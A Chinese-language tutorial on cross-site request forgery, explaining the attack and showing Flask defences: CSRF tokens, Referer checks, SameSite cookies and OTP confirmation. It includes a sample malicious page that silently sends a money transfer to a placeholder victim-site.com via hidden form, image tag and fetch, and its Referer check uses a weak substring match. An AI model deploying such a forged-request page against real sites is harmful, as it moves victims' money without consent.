什么是CSRF漏洞?
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种Web安全漏洞,攻击者诱使用户在不知情的情况下以已认证用户的身份执行非预期的操作。
CSRF攻击原理:
- 用户登录目标网站(如银行网站),会话保持有效
- 用户访问恶意网站,该网站包含精心构造的请求
- 恶意请求自动发送到目标网站,携带用户的合法会话信息
- 目标网站无法区分这是用户有意操作还是伪造请求
CSRF攻击示例代码
以下是模拟CSRF攻击的Python代码示例(仅用于教育目的):
from flask import Flask, request, render_template_string
import requests
app = Flask(__name__)
# 恶意网站
@app.route('/')
def index():
# 构造一个转账的CSRF攻击页面
malicious_html = """
<html>
<body>
<h1>点击领取优惠券!</h1>
<form action="http://victim-site.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to_account" value="attacker_account">
<input type="submit" value="立即领取">
</form>
<img src="http://victim-site.com/transfer?amount=1000&to_account=attacker_account" width="0" height="0">
<script>
fetch('http://victim-site.com/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'amount=1000&to_account=attacker_account'
});
</script>
</body>
</html>
"""
return render_template_string(malicious_html)
if __name__ == '__main__':
app.run(port=5001)
CSRF防御措施
1. 使用CSRF令牌(最有效方法)
# Flask示例 - 使用flask-wtf扩展防御CSRF
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)
@app.route('/transfer', methods=['POST'])
def transfer():
# 表单会自动验证CSRF令牌
amount = request.form['amount']
to_account = request.form['to_account']
# 处理转账逻辑
return "转账成功"
2. 验证HTTP Referer头部
@app.route('/transfer', methods=['POST'])
def transfer():
referer = request.headers.get('Referer')
if not referer or 'victim-site.com' not in referer:
return "非法请求", 403
amount = request.form['amount']
to_account = request.form['to_account']
# 处理转账逻辑
return "转账成功"
3. 使用SameSite Cookie属性
from flask import make_response
@app.route('/login')
def login():
resp = make_response("登录成功")
resp.set_cookie('sessionid', 'user-session-id',
httponly=True,
secure=True,
samesite='Lax') # 或 'Strict'
return resp
4. 关键操作要求二次验证
@app.route('/transfer', methods=['POST'])
def transfer():
if not verify_otp(request.form['otp']):
return "需要二次验证", 403
amount = request.form['amount']
to_account = request.form['to_account']
# 处理转账逻辑
return "转账成功"
最佳实践组合
- 对所有状态修改请求使用CSRF令牌
- 设置SameSite Cookie属性(至少为Lax)
- 敏感操作要求二次验证(如密码、OTP)
- 验证Referer头部(作为额外保护层)
- 避免使用GET请求进行状态修改
记住:CSRF防御需要根据具体应用场景选择合适的方法组合使用。